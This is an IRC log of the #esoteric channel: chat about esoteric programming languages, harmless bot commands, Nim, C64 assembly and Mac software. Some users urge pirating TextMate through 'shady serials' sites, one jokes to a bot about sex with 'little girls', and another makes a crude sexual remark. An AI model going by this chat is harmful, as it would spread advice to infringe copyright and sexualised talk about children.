repeated the first line 01:21:12 4K should be enough :P 01:21:38 !show chiqrsx9p 01:21:38 That is not a user interpreter! 01:21:48 you don't say 01:22:01 EgoBot: you are a bit confused 01:22:10 i think... sadol code looks quite cool, but the language is totally lame :C 01:22:20 !show chiqrsx9p 01:22:20 That is not a user interpreter! 01:22:21 -!- inurinternet has joined. 01:22:24 WTFBBQ 01:23:06 Oh, I know why. 01:23:33 !show chiqrsx9p 01:23:34 perl (sending via DCC) 01:24:38 bawww 01:24:45 '9' was the problem :P 01:25:12 i hate this mac 01:25:14 i hate osx 01:25:19 i hate hate hate 01:25:30 nooga: http://www.debian.org/ :P 01:25:54 !sadol ~m2(6:r"0:s#_0:n#_1:i0@ BDSM: Executing: Invalid argument for ']' - single character expected (index: 28, row: 1, col: 29) 01:25:58 GregorR: EgoBot hates digits? 01:26:01 huuuh 01:26:08 oerjan: Only 'show' did :P 01:26:23 !sadol ~m2(6:r"0:s#_0:n#_1:i0@ ic 01:26:23 hate hate hate hate hate 01:26:41 !sadol ~m2(6:r"0:s#_0:n#_1:i0@ BDSM: Parsing: Unsupported character: '' (index: 40, row: 1, col: 41) 01:26:49 damn 01:26:55 i hate Colloquy 01:27:00 where's my irssi 01:27:27 I see there are still no shafuck programs. 01:30:31 I am going to kill AVG: http://sgeo.diagonalfish.net/screenshots/avg_annoyance.PNG 01:31:15 Sgeo: Laaaaaaaaaaaaaaaaaaaawl 01:35:27 !chiqrsx9p 9 01:35:27 99 bottles of beer on the wall, 01:36:18 !chiqrsx9p qqqqqqqq 01:36:19 qqqqqqqq 01:36:36 not qqqqqqqq times 8? 01:36:48 !chiqrsx9p 9 01:36:49 99 bottles of beer on the wall, 01:37:00 ah i get it 01:37:25 * oerjan is just testing dcc_autochat_masks 01:37:48 Derned newline :P 01:37:52 but why does it assume the source ends with newline 01:38:00 That's just how it's passed in. 01:39:13 !chiqrsx9p 9 01:39:13 99 bottles of beer on the wall, 01:39:17 !chiqrsx9p 9 01:39:17 99 bottles of beer on the wall, 01:40:51 !sadol ````",221",216",211"9!"6Hello! 01:40:51 Hello! 01:41:21 !sadol `````````",246",241",236",231",226",221",216",211"9!"6Hello! 01:41:21 Hello! 01:41:22 wo 01:41:44 wtf? trying to kill eval? 01:42:34 hmm, i'll try to implement towers of hanoi in sadol ;f 01:44:41 Y'know what I just realized? It's easy to write one particular program in ShaFuck ... 01:44:50 The null program is a valid program that does nothing. 01:47:53 nooga: hmm, maybe? 01:48:26 !sadol :a4`"2!a 01:48:26 4 01:48:41 so eval retains original context, and 01:48:49 !sadol :a4`"3:a7!a 01:48:50 7 01:48:56 eval also changes original context, thus 01:49:01 hehe 01:49:29 !sadol :v"2`v`v 01:49:35 should result in infinite loop, right? 01:50:45 mhm 01:51:51 it does a segfault :D 01:52:14 !sadol :v"4!0`v`v 01:52:26 what, it doesn't flush? 01:52:33 GregorR: how embarassing :D 01:52:39 ? 01:52:49 The null program is a valid program that does nothing. 01:52:55 Oh, yes :( 01:53:06 That makes it trivially simple to write a program :( 01:53:13 and a quine to boot! 01:53:36 *sobs* 01:53:41 Time to fix ShaFuck. 01:54:06 GregorR: is there any nontrivial shafuck program? 01:54:10 (seriously) 01:54:30 There almost certainly /is/ in that such a thing could exist, but it would take billions of years to find one. 01:55:19 lame 01:59:00 GregorR, how did you test the interpreter? 01:59:27 Sgeo: I removed the sha'ing part to make sure the BF part worked, and made it output the sums to make sure the SHA'ing part works. 02:00:07 I should declare war on the warp 02:00:08 hmm, assuming that f(h0..h4, chunk) is a SHA-1 compression function where chunk is 512 bits long, the calculated brainfuck program is f(f(...f(0x67452301, ..., 0xC3D2E1F0, first 512 bits of chunk), next 512 bits), ...), last 512 bits, fixed 512 bits 0x8000...002000). maybe. 02:00:35 SHA-1 is a compression function now. Interesting. 02:00:37 (since SHA-1 preprocesses the chunk by appending padding and original length) 02:00:45 GregorR: that's exactly what a hash function is 02:01:09 Compression isn't useful if it's irreversable and not 1-to-1 ... 02:01:18 no, not that sense 02:01:25 Anyway, continue :P 02:01:25 GregorR: lrn2crypto 02:01:35 it's very usefull in a hash function 02:01:49 GregorR: SHA-1 consists of preprocessing step and compression function, and compression function merges previous hash with current block of data 02:01:56 for SHA-1 the block is 512 bits long 02:01:58 cf merkle-damgard 02:02:01 yes right. 02:04:13 if we have to search the program space exhaustively, we could use that construction as shortcut; only last two application of "f" is needed, other application remains same and precalculated 02:04:32 darwin ports don't work 02:07:14 So, when can we expect the first ShaFuck hello world? 02:07:26 Sgeo: never 02:07:38 assuming gregor stuck with the ascii version 02:07:46 ascii version? 02:08:14 ascii encoding of brainfuck, rather than the 3 bit encoding 02:08:46 Sgeo: unlikely, even MD5 is not totally broken (afaik best attack against MD5 is chosen-prefix attack, but it requires the known prefix) 02:08:48 Is there a standardized 3bit encoding? 02:09:14 does it matter? 02:09:22 the result is the same 02:09:40 I was asking out of curiosity 02:09:41 bsmntbombgirl: does that treat any non-command chars as error? 02:09:50 wwtf 02:09:53 lifthrasiir: the ascii one, yes 02:09:56 dude transformed to girl again? 02:11:48 Creatures gender-bending: http://sgeo.diagonalfish.net/screenshots/genderconf.png 02:11:52 * Sgeo pokes GregorR 02:14:30 lifthrasiir: that is what makes it so hard, it is essentially impossible to find a legal program 02:14:48 oerjan: right, it's surely harder than malbolge 02:14:52 while with a 3-bit encoding you get something legal to start combining 02:17:22 -!- nooga has quit. 02:20:27 Sgeo: Unary maps 0..7 to ><+-.,[]; MGIFOS maps 1..8 to ><+-.,[]; Braincopter maps 0..7 to ><+-.,[] and treats 8..10 special. 02:20:38 ><+-.,[] mapping looks quite universal! 02:21:04 (okay, mapping for two ternary digits is an another story) 02:21:21 ? 02:21:38 Is there a standardized 3bit encoding? 02:21:44 so i did some research 02:21:47 I meant what was that about mapping to ternary 02:22:25 Wow, it's almost like "?" is completely ambiguous as to what the question's about 02:22:41 Sgeo: for example, Ook maps every command to two ternary digits (actually the "digit" is one of Ook. Ook? Ook!) 02:24:06 !sh ls 02:24:06 interps 02:24:30 what's a good brainfuck benchmark? 02:24:32 !sh ls/interps 02:24:32 /tmp/input.26421: line 1: ls/interps: No such file or directory 02:24:36 for compilers/interpreters 02:24:39 there are several cases maps bf commands to similar thing; Cupid uses the digit of >, < or - and so on. 02:24:43 !sh ls interps 02:24:43 1l 02:24:55 oh, but Bub uses <>+-,.[] mapping. 02:25:11 (swapped and ,/.) 02:25:41 !sh ls -l interps/unlambda 02:25:42 /bin/ls: interps/unlambda: Function not implemented 02:28:44 !sh ls interps/underload 02:28:44 underload.bin 02:29:13 !sh echo '(test)S' | interps/underload.bin 02:29:13 /tmp/input.26570: line 1: interps/underload.bin: No such file or directory 02:29:21 bah 02:30:05 !sh echo '(test)S' | interps/underload.bin - 02:30:05 /tmp/input.26599: line 1: interps/underload.bin: No such file or directory 02:30:43 oh 02:30:51 !sh echo '(test)S' | interps/underload/underload.bin 02:30:51 Usage: derl (-o|-a) [inputfile] 02:31:18 !sh echo '(test)S' | interps/underload/underload.bin - 02:31:18 Usage: derl (-o|-a) [inputfile] 02:31:27 !sh echo '(test)S' | interps/underload/underload.bin -o - 02:31:27 -: No such file or directory 02:32:29 !sh echo '(test)S' | interps/underload/underload.bin -o 02:32:29 testAttempt to execute unknown command 10 02:32:46 o_O 02:32:52 darn newline 02:33:02 !sh echo -n '(test)S' | interps/underload/underload.bin -o 02:33:02 test 02:36:46 hmm, is there any idea how to implement a half of bit data type? (like TURKEY BOMB) 02:38:12 well TURKEY BOMB's BI_IT type is 0.528 bits, anyway 02:38:17 bits long* 02:42:18 oerjan: It took you a lot of tries to get that :P 02:42:50 yeah 02:49:39 BI"Two thirds of a bit plus half a trit. " 02:50:15 Sgeo: yes, that holds 2/3 log_2 2 + 1/2 log_2 3 bits = approx. 0.528 bits of information. 02:50:46 anyway i wonder that there is general principle for such types containing fractional number of bits 02:51:35 Is TURKEY BOMB implemented? 02:51:37 Or implementable? 02:52:39 "A structure containing three other types, specified at compile-time, all of which must be different, one of which must be another HUMIDOR. " sounds impossible 02:52:54 !ls interp/egobf 02:53:01 !sh ls interp/egobf 02:53:01 /bin/ls: cannot access interp/egobf: No such file or directory 02:53:06 !sh ls interp 02:53:06 /bin/ls: cannot access interp: No such file or directory 02:53:09 Sgeo: never, as it is a joke language 02:53:13 !sh ls interps/egobf 02:53:13 AUTHORS 02:53:21 awww 02:53:28 I wanted to try programming in it 02:53:50 !sh ls 02:53:50 interps 02:54:00 !sh ls | xargs echo 02:54:00 interps lib slox 02:54:24 !sh ls interps/egobf | xargs echo 02:54:25 AUTHORS COPYING ChangeLog INSTALL Makefile Makefile.am Makefile.in NEWS PORTING README aclocal.m4 config.h config.h.in config.log config.status configure configure.ac scripts src stamp-h1 02:54:30 !sh ls interps/egobf/scripts | xargs echo 02:54:30 compile depcomp install-sh missing missing-real 02:54:45 where the heck is the binary? 02:54:51 In 'src' 8-D 02:54:57 >_< 02:55:02 !sh ls interps/egobf/src | xargs echo 02:55:03 Makefile Makefile.am Makefile.in bfc.c bfc.h bfi.c bfi.h c2m c2m.c c2m.h egobfc egobfc-bfc.o egobfc-egobfi.o egobfc-optimize.o egobfc2m egobfc2m-c2m.o egobfc2m-egobfi.o egobfi-wib egobfi-wib.in egobfi.c egobfi.h egobfi16 egobfi16-bfi.o egobfi16-egobfi.o egobfi16-optimize.o egobfi32 egobfi32-bfi.o egobfi32-egobfi.o egobfi32-optimize.o egobfi64 egobfi64-bfi.o egobfi64-egobfi.o egobfi64-optimize.o egobfi8 egobfi8-bfi.o egobfi8-egobfi.o egobfi8-optimize.o 02:56:20 !sh echo '++++++++[->++++++++<]>.' | interps/egobf/src/egobfi8 02:56:20 @ 02:57:07 addinterp ook perl http://oerjan.nvg.org/esoteric/ook.egobot.pl 02:57:11 !addinterp ook perl http://oerjan.nvg.org/esoteric/ook.egobot.pl 02:57:14 Interpreter ook installed. 03:00:00 !ook Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. 03:00:01 No comma allowed after filehandle at /tmp/input.27191 line 15. 03:00:06 fnord 03:00:23 !delinterp ook 03:00:24 Interpreter ook deleted. 03:00:27 !addinterp ook perl http://oerjan.nvg.org/esoteric/ook.egobot.pl 03:00:28 Interpreter ook installed. 03:00:31 !ook Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. 03:00:31 Can't exec "interp/egobf/src/egobfi8": No such file or directory at /tmp/input.27276 line 13, <> line 1. 03:00:43 spoilsport 03:00:47 oh 03:00:58 !delinterp ook 03:00:58 Interpreter ook deleted. 03:01:00 !addinterp ook perl http://oerjan.nvg.org/esoteric/ook.egobot.pl 03:01:01 Interpreter ook installed. 03:01:03 !ook Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. 03:01:04 03:01:11 what the heck? 03:02:14 duh 03:02:47 !ook Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. 03:02:48 @ 03:03:42 !echo Hewwo 03:03:42 Hewwo 03:04:09 !ook ++++++++[>+++++++Ook. Ook.<-]>. 03:04:09 ##**11888 03:04:14 whoops 03:04:18 oh right 03:04:22 !ook ++++++++[>+++++++Ook. Ook. <-]>. 03:04:23 @ 03:04:43 !sh cd interps/egobf/src ; make 03:04:44 make: Nothing to be done for `all'. 03:44:21 -!- inurinternet has quit (Read error: 110 (Connection timed out)). 04:15:09 -!- inurinternet has joined. 04:25:42 -!- oklodok has joined. 04:26:08 ais523: i cracked nim for the three number case. 04:26:15 in case you read logs 04:27:36 cracked as in found all triples that lose 04:29:26 but the "formula" describing them contains such a beautiful set of permutations there must be something very simple behind it, but it escapes me, as i'm just studying behavior, not actually trying to solve from the recursive definition of winning (which would require intelligence) 04:30:00 * oerjan cackles evilly 04:30:04 also if someone, after hearing this, tells me how it works and it's so simple it fits a line 04:30:09 i will probably cry :) 04:30:22 oh. i will not do that yet then. 04:30:31 :P 04:30:32 thank you 04:31:04 i wanna solve this, this is already my third attempt, and this time i actually managed to solve enough to trivially beat ais523's enigma level, so it's at least somethin 04:31:45 well okay first two attempts weren't really attempts, i was just looking for a trivial solution by enumerating the possible levels 04:34:15 gah, why can't i be like a super math genius or something 04:35:51 oerjan: on a scale from one to seven, how complex would you say the rule describing win-states is 04:36:07 one 04:36:10 right 04:36:13 that's what i thought 04:36:18 * oklodok bangs head to wall 04:36:41 mind you, given you know the necessary concepts. 04:36:51 but i am absolutely sure that you do. 04:37:10 does, say, ehird know them? 04:37:19 What's going on? 04:37:33 i would be surprised if there was a regular in this channel which didn't 04:37:40 Sgeo: i'm asking oerjan about a thing i don't want him to tell me about. 04:37:49 usual stuff. 04:38:07 What are the necessary concepts? 04:38:10 also there are probably several others who know the actual solution from before. 04:38:21 Sgeo: if we told that, it would be trivial 04:38:23 Sgeo: that's what i don't want to know 04:39:08 oklodok: as a small consolation, i don't think i deduced the solution myself before reading it 04:40:53 *who didn't 04:41:05 hmm. probably the fact the permutation thingie i found arises from the solution is more mathematically significant than the actual solution is. 04:41:29 which is what usually happens when trying to reverse-engineer sequences i guess. 04:43:00 Nim... Nim... Oh, yeah. That was a weird game. 04:45:39 meh, i'll give up for now, and retry in a few months. 04:46:16 hopefully no one tells me the solution so it can be my life's work. 05:08:51 xkcd o_O 05:09:07 :D 05:09:14 it is indeed awesome 05:10:24 -!- puzzlet has quit (Remote closed the connection). 05:10:28 -!- puzzlet has joined. 05:15:25 -!- oerjan has quit ("leaving"). 05:29:45 -!- inurinternet has quit (Read error: 60 (Operation timed out)). 05:44:29 -!- oklopol has joined. 05:49:53 -!- inurinternet has joined. 05:50:17 -!- inurinternet has quit (Client Quit). 05:50:28 -!- inurinternet has joined. 05:51:28 -!- Sgeo has quit ("Leaving"). 06:04:24 -!- oklodok has quit (Read error: 110 (Connection timed out)). 06:04:29 -!- inurinternet has left (?). 06:04:52 -!- inurinternet has joined. 06:04:55 -!- inurinternet has changed nick to rixius. 06:04:59 -!- rixius has changed nick to darthnuri. 06:06:14 -!- asiekierka has joined. 06:06:14 hi 06:08:16 -!- oklopol has quit (Read error: 110 (Connection timed out)). 06:14:41 -!- coppro has quit (Read error: 60 (Operation timed out)). 06:26:07 -!- asiekierka has quit. 06:37:44 READ char -1 temp temp -1 char temp -1 NULL temp QUIT char WRITE -1 char char CODESTART char: 0 temp: 06:57:26 -!- bsmntbombgirl has quit (Read error: 104 (Connection reset by peer)). 06:58:00 -!- bsmntbombgirl has joined. 06:59:43 -!- kar8nga has joined. 07:38:21 READ char -1 temp temp -1 char temp -1 NULL temp QUIT char WRITE -1 char char CODESTART char: 0 temp: 07:38:24 Faaaaaaascinating. 07:39:03 what? 07:40:44 That was just so purely context-free it was amazing ;P 07:41:07 i was looking through old code of mine 07:41:56 that's cat in a subleq 07:48:06 -!- psygnisfive has quit (Remote closed the connection). 07:48:15 -!- kar8nga has quit (Remote closed the connection). 07:49:35 Hah, awesome. 07:50:08 I still want to see a MISC implementation though, MISC has a nice compact binary format. (The fundamental instruction in subleq and MISC is the same, right? Like, there's no difference on 0 or whatnot) 07:50:37 And it has to not be written by me, because if it was I'd end up making a MISC ELF file format, and nobody wants that. 07:51:38 what do you mean? 07:52:23 this uses 12 bytes per instruction :/ 07:53:56 -!- tombom has joined. 07:54:57 Err, sorry, didn't mean "compact" :P 07:55:02 Really just meant "nice" :P 07:55:13 It's actually anything but compact, of course. 07:59:20 that's why the system call is called "unlink" 07:59:24 oops 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:00:44 That /is/ why the system call is called unlink. 08:00:53 After all, if it was removed, then multiply linked files would be really wonky. 08:01:11 ...that's what i was explaining 08:01:29 That's the only reason why anyone would say the line that's why the system call is called "unlink" 08:01:37 I was trying to act psychic, in a silly way :P 08:13:50 -!- psygnisfive has joined. 08:14:28 -!- puzzlet has quit (Remote closed the connection). 08:14:32 -!- puzzlet has joined. 08:28:42 hm 08:28:45 ive had an idea 08:28:47 -!- puzzlet_ has joined. 08:29:29 a language in which there must be no ambiguity as to what is applied to what, thanks to types 08:30:50 i imagine that for a large number of functions the notation would require that it be completely prefix or completely postfix 08:30:58 FINALLY my computer left commerce city 08:31:10 and i guess obviously in postfix notation there never /is/ ambiguity so.. 08:31:55 -!- lereah_ has joined. 08:34:02 -!- puzzlet has quit (Read error: 54 (Connection reset by peer)). 09:38:31 -!- darthnuri has quit (Read error: 110 (Connection timed out)). 10:49:32 -!- nooga has joined. 11:16:37 -!- nooga has quit. 11:51:06 -!- puzzlet_ has quit (Remote closed the connection). 11:51:13 -!- puzzlet has joined. 12:54:42 -!- jix has joined. 13:22:07 -!- MigoMipo has joined. 13:43:05 -!- puzzlet_ has joined. 13:44:56 No one would happen to know how to do a statistical distribution that is, while random, constrained to have a fixed sum? 13:48:32 -!- puzzlet_ has quit (Remote closed the connection). 13:54:13 -!- FireFly has joined. 13:55:00 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 13:56:45 -!- puzzlet has joined. 13:56:58 lifthrasiir, how do you do the polynom bit 13:57:06 in esotope-bfc 13:57:15 the optimisation page seems outdated 14:01:21 -!- oerjan has joined. 14:04:06 oerjan, hi 14:04:11 hi AnMaster 14:04:23 oerjan, did you write IWC today? 14:04:45 :D 14:05:04 it's not like DMM is unknown for puns 14:06:32 oerjan, yeah but it was exactly in your pun style 14:06:43 even the annotation 14:08:11 hm sure it's not more like a reddit pun thread 14:08:29 of course i assume that's geeks everywhere 14:11:16 * oerjan decides .sss is a good extension for slashes files 14:11:21 */// files 14:21:59 oerjan, did you manage to implement BCT in it? 14:22:05 or are you still working on it 14:22:30 i'm currently rewriting my counter program to use the much simpler method 14:22:37 it is now simple enough to do by hand 14:22:38 ah 14:46:49 -!- darthnuri has joined. 14:50:42 -!- puzzlet_ has joined. 14:51:00 -!- puzzlet has quit (Remote closed the connection). 14:51:36 !slashes http://oerjan.nvg.org/esoteric/slashes/counter2.sss 14:51:38 * 14:52:17 yay, EgoBot managed 89 lines 14:52:29 some improvement from 2 :D 14:52:56 hm 14:54:18 ^style 14:54:18 Available: agora alice c64 darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube* 14:54:23 ^style pa 14:54:24 Selected style: pa (around 1200 transcribed Penny Arcade comics) 14:54:27 fungot, do stuff 14:54:28 lereah_: oh, really? does he do american standard or freestyle? 14:54:31 fungot, do stuff 14:54:31 lereah_: if we're in the matrix." and over here, and here. recent releases. just pick one, and give it to me. 14:54:35 wat 14:55:03 -!- asiekierka has joined. 14:55:06 hi 14:55:11 ehird: you there? 14:55:12 fungot: hi 14:55:13 asiekierka: fucking refs. those calls were bullshit! huh? bullshit, right? i don't think i want anymore. 14:55:21 ^style 14:55:21 Available: agora alice c64 darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa* speeches ss wp youtube 14:55:25 huh 14:55:26 ^style pa 14:55:27 Selected style: pa (around 1200 transcribed Penny Arcade comics) 14:55:33 Is that a lie? 14:55:43 ah this time EgoBot hit the byte limit instead of time 14:56:44 ^style europarl 14:56:44 Selected style: europarl (European Parliament speeches during approx. 1996-2006) 14:56:51 ^style ic 14:56:51 Selected style: ic (INTERCAL manual) 14:56:55 fungot, do stuff 14:56:56 lereah_: for a bug is in the current directory will be casted to an imaginary label preceding it. 14:57:10 %style c64 14:57:13 ^style c64 14:57:13 Selected style: c64 (C64 programming material) 14:57:17 fungot, do stuff 14:57:18 asiekierka: this reference guide is designed to do this successfully, you could copy the contents of a photograph). 14:57:24 xDD 14:57:58 oh, so you CAN'T copy the contents of a photograph on the C64 unless you want to do this successfully? O_O 14:58:24 ^style ss 14:58:25 Selected style: ss (Shakespeare's writings) 14:58:36 fungot, hath do not say thy stuff 14:58:37 asiekierka: slen. did her grand-sire leaue her seauen hundred pound? euan. i most unfeignedly beseech your lordship call her backe 14:58:39 ^style alice 14:58:39 Selected style: alice (Books by Lewis Carroll) 14:58:54 fungot, let's have sex with little girls 14:58:54 lereah_: fnord. all pale people are fnord no one can sing who has a cold.' 14:59:08 Does Lewis Carroll say fnord? 15:01:08 -!- upyr[emacs] has joined. 15:02:11 3 15:04:43 4! 15:07:24 -!- darthnuri has quit (Connection timed out). 15:09:15 4 factorial? 15:09:35 Do you have some PROBLEM with 24? 15:10:35 no. no problems 15:11:00 i do. the day needs more hours. 15:15:02 I'm working on my C64 kernel thing 15:15:09 currently improving putc to support a more defined "charset" 15:19:13 ASCII. 15:19:33 -!- lereah_ has quit (Remote closed the connection). 15:19:55 ^style ff7 15:19:56 Selected style: ff7 (Full script of the game Final Fantasy VII) 15:20:00 yeah 15:20:05 not PETSCII but ASCII 15:20:14 fungot: Winnitude. 15:20:14 pikhq: over here. i'll see you. 15:20:16 i already parse chars $40-$7E 15:20:21 except $60 15:21:16 ok, $40-$7E done 15:21:27 I ignore chars $20-$40 15:21:31 so $20-$7E actually 15:25:38 Oh woah, I actually finish $00-$7F (i currently ignore $00-$1F) 15:25:41 I actually finished* 15:26:27 Well, DEL = Backspace... currently 15:27:20 So I ignore $00-20 (except 08 and 10) and process $20-$7F 15:29:18 -!- Sgeo has joined. 15:32:00 -!- darthnuri has joined. 15:43:43 ok, something's wrong again 15:46:46 So now the simpler counting program is on the wiki with some explanation. 15:47:58 what counting program 15:48:10 In /// 15:48:19 It prints growing lines of asterisks 15:48:43 oh 15:48:50 doh, stupid C64 assembly 15:48:53 http://esoteric.voxelperfect.net/wiki/Slashes#Simpler_counter 16:00:41 -!- BeholdMyGlory has joined. 16:02:56 O_O 16:03:10 What my puts routing does now is output the first char, some spaces and the last char 16:05:02 oh god 16:05:08 I did lda, inx and stx on the same value 16:05:16 the point being lda, inx and stx 16:05:17 see? 16:05:23 i changed lda to ldx and it works 16:05:44 ah, lda, inx and stx 16:05:49 * oerjan reminisces 16:05:58 as i said 16:06:00 on the same value 16:06:07 oerjan: feel free to help me 16:06:14 ehird is (while learning 6502 asm) 16:07:01 i don't mean to imply that i _know_ 6502 asm 16:07:18 oh 16:07:22 but i did write my own disassembler to peek into memory 16:07:44 which was a bit awkward as the manual lacked several pages of instructions 16:07:58 (this was an Oric-1) 16:09:44 ah, Oric-1 and it's awkward graphic mode 16:09:59 * asiekierka doesn't have stuff to reminisce cuz he's too young to see an Oric-1 in his life 16:10:41 it worked well enough for a bit of mandelbrot as i recall 16:11:27 it has 6 colors 16:11:31 and you could only have 2 per a 6x1 block 16:11:36 AFAIK 16:12:14 hm that rings a bell 16:12:52 asiekierka: Watch and learn. 16:12:55 Ah, I remember my Oric-1. 16:13:07 I bought it three years before I was born, in a country I wouldn't go to for another 20 years. 16:13:15 technically it's in the drawer next to me 16:13:26 ...you OWN an Oric-1 16:13:26 I learned BASIC on my Oric-1. 16:13:33 ...Oric-1 had BASIC? 16:13:37 technically it's my father's 16:13:47 it still is 16:13:51 right? 16:13:56 if yes, then GO AND PLUG IT THE HELL ON 16:14:07 i don't think so 16:14:09 xD 16:14:11 oh 16:14:26 i recall it gave some horrible interference when i plugged it in 16:14:37 heh 16:14:38 it may not be safe in a modern house 16:15:00 also, my only tv is in a closet 16:15:06 Well, our "2nd channel" is so strong it actually went through the C64 RF cable 16:15:16 so i could receive it (very weakly) through an RF cable 16:15:17 BUILT IN LANGUAGE Oric Extended Basic v1.0 16:15:17 xD 16:17:21 * oerjan recalls graphing trigonometric functions with it 16:17:22 oerjan: also, connect it to a TV tuner 16:20:34 hi asiekierka 16:30:21 -!- darthnuri has quit. 16:34:00 -!- darthnuri has joined. 16:34:30 -!- darthnuri has changed nick to inurinternet. 16:44:16 -!- kar8nga has joined. 16:50:40 -!- ais523 has joined. 16:58:20 -!- nooga has joined. 16:58:24 YEAH! 16:58:34 ? :) 16:58:45 after compiling half of gnu things i've managed to install irssi on this mac fuc 16:59:33 nooga: fail 16:59:34 use macports 16:59:37 "sudo port install irssi" 16:59:39 done 16:59:42 yea, macports did that for me :D 16:59:46 lol 16:59:52 you made it sound more traumatic than it was then :p 17:00:25 yea 17:00:41 i'm getting used to this whole osx 17:00:54 all in all it's quite pleasant 17:01:28 -!- kar8nga has quit (Remote closed the connection). 17:01:43 is there any sane irc client in mac os x, excluding console-based one? 17:01:52 lifthrasiir: LimeChat! 17:01:58 http://limechat.net/mac/ 17:02:04 (Ignore the stuff about RubyCocoa; the OS X version works fine.) 17:02:15 i imagine that pleasure is comparable to having a big, warm cock in your anus 17:02:24 nooga: erm. 17:02:38 Let's just imagine the conversation died for 5 minutes. 17:02:39 -!- ais523 has quit (Remote closed the connection). 17:02:49 -!- ais523 has joined. 17:02:51 wb ais523 17:02:56 Why do people never get this distinction: The anus is just the opening, the RECTUM is the cavity :P 17:02:58 beh 17:03:09 GregorR: Thanks. 17:03:09 i don't know about this stuff 17:03:15 i'm not homosexual 17:03:43 o 17:03:44 i 17:03:45 er 17:03:59 i'm lauxesomoh, basically I'm only homosexual if I'm going backwards in time 17:04:14 wo, limechat looks better than colloquy 17:04:20 that's because it is. 17:04:29 okay 17:04:34 colloquy's a buggy piece of crap that tries to avoid saying "channel" :p 17:04:43 let me DELETE colloquy.app from my Applications 17:04:57 oh, and this theme is nice: http://julianstahnke.com/read/a_theme_for_limechat_colloquial/ 17:05:10 the default ones seem to be either out of place or ugly 17:06:03 okay 17:06:11 but now i've got my irssi D: 17:06:26 nooga: you came out with some libraries and shit too 17:06:32 i bet irssi didn't take long to install at all 17:06:39 it's not even compiled iirc, i think it's written in perl 17:06:46 yea 17:07:07 but ports compiled perl, ncurses, glib, gettext and other stuff 17:07:14 so you come out with that 17:07:15 value-add 17:07:25 ? 17:07:53 i mean the time spent installign irssi is not wasted if you like limechat :P 17:08:44 oh 17:08:54 excuise me, i not understand 17:09:14 17:06 nooga: but now i've got my irssi D: 17:09:17 i thought that meant like 17:09:21 but i just spent all this time installing irssi 17:09:25 i can't like limechat 17:09:25 :p 17:09:27 no 17:10:06 it's just that i like irssi and i don't see a reason for installing lime 17:10:25 'cuz lime's more maclike and better :p 17:10:46 ebh 17:10:50 ebdj 17:12:09 okay 17:12:13 it's written in ruby 17:12:26 i just loved it instantly :F 17:12:48 lawl 17:12:52 nooga: remember you don't need to install rubycocoa 17:12:58 the one in recent osxs works 17:15:32 -!- nooga has quit ("Lost terminal"). 17:15:37 -!- nooga_ has joined. 17:15:57 -!- nooga_ has changed nick to nooga. 17:16:03 yea, i figured it out 17:16:04 lime looks fine, it is close to my ideal 17:16:21 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 17:17:26 yuck 17:17:30 ugly themes are ugly 17:17:53 nooga: use the Colloquial one :P 17:18:08 wow 17:18:12 uses Growl 17:18:14 yes 17:18:21 although you have to click the alert to get rid of it, I'm not sure why 17:18:26 probably you can fix that in growl settings 17:18:31 ffffuuuu 17:18:39 wut 17:18:47 where was that theme? 17:18:52 http://julianstahnke.com/read/a_theme_for_limechat_colloquial/ 17:21:23 -!- oerjan has quit ("Good night"). 17:22:46 okay 17:22:51 now it's white and cool 17:22:59 nooga: logs aren't enabled by default btw 17:23:07 you have to enable Transcripts in the prefs if you want them 17:23:10 don't need em 17:23:57 if you're not in many channels you can resize the bottom window to nonexistance 17:24:04 since it just shows messages from channels you're not looking at atm 17:24:37 thanx, did it at the beginning 17:25:31 any other useful apps that you'd recommend? 17:27:06 * ehird glances at dock. I use Adium for inferior-to-IRC IM services, I edit some stuff with TextMate (and other stuff in other editors :p)... apart from that... eh... I use Seashore for basic image editing stuff? And Transmission for torrents. And I have a few VM apps. Oh. And Enigma's quite a fun game. That's pretty much all I use 17:27:17 Oh, and I use Audacity for basic audio editing. My app selection is quite an uninteresting one. 17:28:26 i can't afford textmate :D 17:29:02 adium, transmission; got them 17:29:14 nooga: It's $65... BBEdit, the "standard" Mac editor since the System 7 days, costs $99. 17:29:23 So it's quite a deal ;-). You can pirate it anyhoo. 17:29:23 isn't enigma a remake of oxyd? 17:29:36 enigma's a remake + extension + lots of levels of oxyd and similar games 17:29:43 arggggh 17:29:48 bsmntbombgirl: what 17:29:50 "out for delivery" 17:29:52 ah, played oxyd magnum under dos 17:29:53 yay, Enigma 17:29:55 and enigma under linux 17:30:07 enigma's #esoteric's official computer puzzle game :p 17:30:13 cool :D 17:30:18 well. official unofficial. 17:30:20 you know how it is 17:30:59 nooga: I THINK YOU SHOULD INSTALL ECLIPSE IS VERY GOOD JAVA ID*blown to bits* 17:31:23 ;D 17:32:10 "It may seem perverse to use a computer, that most precise and deterministic of all machines conceived by the human mind, to produce "random" numbers" 17:32:19 UNCLEAN UNCLEAN 17:32:24 o o o 17:32:30 State of sin. 17:35:03 duh 17:35:13 can't crack textmate ;d 17:35:24 nooga: search for a shady serials website and search for textmate there. 17:36:46 hey, a mac botnet was discovered 17:36:56 it seems that people put trojans into "cracked" software 17:37:05 and got people to install the botnet software that way 17:37:07 ;] 17:37:14 ais523: you can't get trojans off serial keys. 17:37:19 well, obviously 17:37:23 it's not linux, i don't feel secure 17:37:26 also, that usually happens more with the 